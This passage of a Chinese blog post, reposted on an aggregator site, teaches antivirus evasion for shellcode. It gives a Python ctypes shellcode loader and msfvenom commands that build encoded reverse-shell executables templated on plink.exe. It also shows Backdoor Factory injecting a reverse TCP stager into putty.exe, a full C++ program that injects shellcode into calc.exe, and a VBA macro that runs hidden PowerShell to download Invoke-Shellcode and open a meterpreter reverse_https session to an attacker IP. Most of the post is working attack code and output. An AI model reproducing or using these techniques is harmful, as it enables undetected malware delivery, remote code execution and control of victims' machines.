#sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4"
shellcode=bytearray(sys.argv[1].decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
  
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
  
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
  
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))
  
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

 

 

 

還有一款編碼的工具也好用,安利一下:

https://github.com/ecx86/shellcode_encoder

 

 

 

那么這是利用語言對shellcode編碼,也可以選擇生成的時候對shellcode編碼。

舉例msfvenom:

kali@kali:~$ msfvenom -l encoder

Framework Encoders [--encoder <value>]
======================================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
    generic/eicar                 manual     The EICAR Encoder
    generic/none                  normal     The "none" Encoder
    mipsbe/byte_xori              normal     Byte XORi Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/byte_xori              normal     Byte XORi Encoder
    mipsle/longxor                normal     XOR Encoder
    php/base64                    great      PHP Base64 Encoder
    ppc/longxor                   normal     PPC LongXOR Encoder
    ppc/longxor_tag               normal     PPC LongXOR Encoder
    ruby/base64                   great      Ruby Base64 Encoder
    sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
    x64/xor                       normal     XOR Encoder
    x64/xor_context               normal     Hostname-based Context Keyed Payload Encoder
    x64/xor_dynamic               normal     Dynamic key XOR Encoder
    x64/zutto_dekiru              manual     Zutto Dekiru
    x86/add_sub                   manual     Add/Sub Encoder
    x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_underscore_tolower  manual     Avoid underscore/tolower
    x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower
    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder
    x86/bmp_polyglot              manual     BMP Polyglot
    x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder
    x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown                 normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha                  low        Non-Alpha Encoder
    x86/nonupper                  low        Non-Upper Encoder
    x86/opt_sub                   manual     Sub Encoder (optimised)
    x86/service                   manual     Register Service
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit         manual     Single Static Bit
    x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
    x86/xor_dynamic               normal     Dynamic key XOR Encoder



使用模板和編碼器 for example:

msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/ plink.exe lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe 


msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/ plink.exe lhost=1.1.1.1 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 -platform win -f exe > b.exe

 

Veil中的加密:

 

 

 

 

 

 

 

 

schelper:

 

 

 

 

 

 

 Obfuscation:

Invoke-Obfuscation -ScriptBlock {echo xss} -Command 'Encoding\1,Launcher\PS\67' -Quiet

 

 

 

 

 

 

 

 

 

 

 

關於shellcode編碼后執行就點到這里,其他語言也是大同小異,就不多列舉了。

上面是一些編碼加密shellcode,下面就看看shellcode注入的技巧方式。

 

 

 

 

B)shellcode注入混淆

大多數注入免殺還將shellcode進行了拆分。

拆分這兩個字也很好理解,字面的意思上和各位php一句話木馬免殺中大體一樣,shellcode也好比我們php木馬中需要拆分的危險函數名。

shellcode拆分可以把原本特征明顯的程序中shellcode進行位置替換,最簡單的比如新增加區段填入shellcode並將入口點jmp到shellcode地址最后再跳回原程序開頭,

也可以將shellcode分段布在各個code cave中再分段執行,原理可以參考egg hunt shellcode的中的Omelet Shellcode。

 

舉一些注入例子:

 

BDF:

https://github.com/secretsquirrel/the-backdoor-factory

*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 410
[*] All caves lengths:  410
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 410
[*] Available caves: 
1. Section Name: DATA; Section Begin: 0x5df200 End: 0x665400; Cave begin: 0x65ea07 End: 0x65ec68; Cave Size: 609
3. Section Name: .rdata; Section Begin: 0x66a000 End: 0x66a200; Cave begin: 0x66a013 End: 0x66a200; Cave Size: 493
4. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8203f End: 0xc82308; Cave Size: 713
5. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc82e1c End: 0xc83050; Cave Size: 564
6. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc830eb End: 0xc83718; Cave Size: 1581
7. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc83b64 End: 0xc840fc; Cave Size: 1432
8. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc843ff End: 0xc846c8; Cave Size: 713
9. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc851dc End: 0xc85410; Cave Size: 564
10. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc854ab End: 0xc859d0; Cave Size: 1317
11. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86557 End: 0xc86b84; Cave Size: 1581
12. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86fd0 End: 0xc87568; Cave Size: 1432
13. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8760a End: 0xc87a32; Cave Size: 1064
14. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc886af End: 0xc88d58; Cave Size: 1705
15. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8b8b3 End: 0xc8bdd8; Cave Size: 1317
16. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8eaba End: 0xc8ed65; Cave Size: 683

 

BDF中-F參數實現多裂縫注入。

backdoor-factory -f putty.exe -s show
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.15.135 -P 4444

 

 

 

 

 

 

 

shellter:

A 選項增加區段注入

 

 

 

 

 

 

 

Avet:

root@kali:/tmp/avet/build# leafpad build_win64_meterpreter_rev_tcp_xor_fopen.sh 

lhost=192.168.174.134

root@kali:/tmp/avet/build# cd ..

root@kali:/tmp/avet# ./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh

No Arch selected, selecting Arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 551 (iteration=0)
x64/xor chosen with final size 551
Payload size: 551 bytes
Final size of c file: 2339 bytes
./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh: line 6: ./make_avet: cannot execute binary file: Exec format error
avet.c: In function 'main':
avet.c:122:15: error: 'buf' undeclared (first use in this function)
   shellcode = buf;
               ^
avet.c:122:15: note: each undeclared identifier is reported only once for each function it appears in

 

 

 

 

 除了也可以手動整個進程注入,起一個正常進程注入shellcode

例子:

 

#include "stdafx.h"
#include <Windows.h>
#include<stdio.h>
#include "iostream"
using namespace std;
    unsigned char shellcode[] =
        "\xb8\x72\xd9\xb8\x52\xda\xd8\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
        "\x56\x83\xc2\x04\x31\x42\x0f\x03\x42\x7d\x3b\x4d\xae\x69\x39"
        "\xae\x4f\x69\x5e\x26\xaa\x58\x5e\x5c\xbe\xca\x6e\x16\x92\xe6"
        "\x05\x7a\x07\x7d\x6b\x53\x28\x36\xc6\x85\x07\xc7\x7b\xf5\x06"
        "\x4b\x86\x2a\xe9\x72\x49\x3f\xe8\xb3\xb4\xb2\xb8\x6c\xb2\x61"
        "\x2d\x19\x8e\xb9\xc6\x51\x1e\xba\x3b\x21\x21\xeb\xed\x3a\x78"
        "\x2b\x0f\xef\xf0\x62\x17\xec\x3d\x3c\xac\xc6\xca\xbf\x64\x17"
        "\x32\x13\x49\x98\xc1\x6d\x8d\x1e\x3a\x18\xe7\x5d\xc7\x1b\x3c"
        "\x1c\x13\xa9\xa7\x86\xd0\x09\x0c\x37\x34\xcf\xc7\x3b\xf1\x9b"
        "\x80\x5f\x04\x4f\xbb\x5b\x8d\x6e\x6c\xea\xd5\x54\xa8\xb7\x8e"
        "\xf5\xe9\x1d\x60\x09\xe9\xfe\xdd\xaf\x61\x12\x09\xc2\x2b\x7a"
        "\xfe\xef\xd3\x7a\x68\x67\xa7\x48\x37\xd3\x2f\xe0\xb0\xfd\xa8"
        "\x71\xd6\xfd\x67\x39\xb7\x03\x88\x39\x91\xc7\xdc\x69\x89\xee"
        "\x5c\xe2\x49\x0e\x89\x9e\x43\x98\xf2\xf6\xfa\xdc\x9b\x04\x03"
        "\xcc\x07\x81\xe5\xbe\xe7\xc1\xb9\x7e\x58\xa1\x69\x17\xb2\x2e"
        "\x55\x07\xbd\xe5\xfe\xa2\x52\x53\x56\x5b\xca\xfe\x2c\xfa\x13"
        "\xd5\x48\x3c\x9f\xdf\xad\xf3\x68\xaa\xbd\xe4\x0e\x54\x3e\xf5"
        "\xba\x54\x54\xf1\x6c\x03\xc0\xfb\x49\x63\x4f\x03\xbc\xf0\x88"
        "\xfb\x41\xc0\xe3\xca\xd7\x6c\x9c\x32\x38\x6c\x5c\x65\x52\x6c"
        "\x34\xd1\x06\x3f\x21\x1e\x93\x2c\xfa\x8b\x1c\x04\xae\x1c\x75"
        "\xaa\x89\x6b\xda\x55\xfc\xef\x1d\xa9\x82\xc7\x85\xc1\x7c\x58"
        "\x36\x11\x17\x58\x66\x79\xec\x77\x89\x49\x0d\x52\xc2\xc1\x84"
        "\x33\xa0\x70\x98\x19\x64\x2c\x99\xae\xbd\xdf\xe0\xdf\x42\x20"
        "\x15\xf6\x26\x21\x15\xf6\x58\x1e\xc3\xcf\x2e\x61\xd7\x6b\x20"
        "\xd4\x7a\xdd\xab\x16\x28\x1d\xfe";


    BOOL injection()
    {
        wchar_t Cappname[MAX_PATH] = { 0 };
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        LPVOID lpMalwareBaseAddr;
        LPVOID lpnewVictimBaseAddr;
        HANDLE hThread;
        DWORD dwExitCode;
        BOOL bRet = FALSE;

        lpMalwareBaseAddr = shellcode;

        GetSystemDirectory(Cappname, MAX_PATH);
        _tcscat(Cappname, L"\\calc.exe");
        printf("Injection program Name:%S\r\n", Cappname);

        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));

        if (CreateProcess(Cappname, NULL, NULL, NULL,
            FALSE, CREATE_SUSPENDED
            , NULL, NULL, &si, &pi) == 0)
        {
            return bRet;
        }

        lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
            , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE);

        if (lpnewVictimBaseAddr == NULL)
        {
            return bRet;
        }

        WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
            (LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);

        hThread = CreateRemoteThread(pi.hProcess, 0, 0,
            (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);

        WaitForSingleObject(pi.hThread, INFINITE);
        GetExitCodeProcess(pi.hProcess, &dwExitCode);
        TerminateProcess(pi.hProcess, 0);
        return bRet;
    }

    void help(char* proc)
    {
        printf("%s:[-] start a process and injection shellcode to memory\r\n", proc);
    }

    int main(int argc, char* argv[])
    {
        help(argv[0]);
        injection();
    }

 

 

 

 

 

 

 

 

 

注入就舉例到這里,思考下如果是hook函數的檢測怎么替換呢,可以進行函數替換,比如win api中可以替換VirtuallAlloc的函數就很多:

 

 

 

 

 

0x03 技巧組合

上面說了一些技巧,無論是分離中加載器運行shellcode、白利用運行惡意程序,還是將shellcode編碼、加密、注入,對免殺都會有一定效果,單一使用某個技巧的話或多或少會有一定的缺陷。

那么將各個技巧結合起來達到最好的效果是我們需要取思考的事情

 

舉個好用的例子:

https://github.com/enigma0x3/Powershell-Payload-Excel-Delivery/

 

這是就是使用shellcode調用graeber的VBA宏,在內存中執行powershell(可以使用編碼),達到后門持久化

Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
        objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID

 

 

 

C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
C:\PS> $Proc = Get-Process notepad
C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose

VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
VERBOSE: Injecting shellcode into PID: 4004
VERBOSE: Injecting into a Wow64 process.
VERBOSE: Using 32-bit shellcode.
VERBOSE: Shellcode memory reserved at 0x03BE0000
VERBOSE: Emitting 32-bit assembly call stub.
VERBOSE: Thread call stub memory reserved at 0x001B0000
VERBOSE: Shellcode injection complete!

 

 

 

 

技巧方法是死的,思路是活,在實際環境下也需要各位師傅將多個技巧結合靈巧的思路達到想要的成果。

 

文末推個個人博客,歡迎友鏈

https://www.cnblogs.com/-qing-/

 

完。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM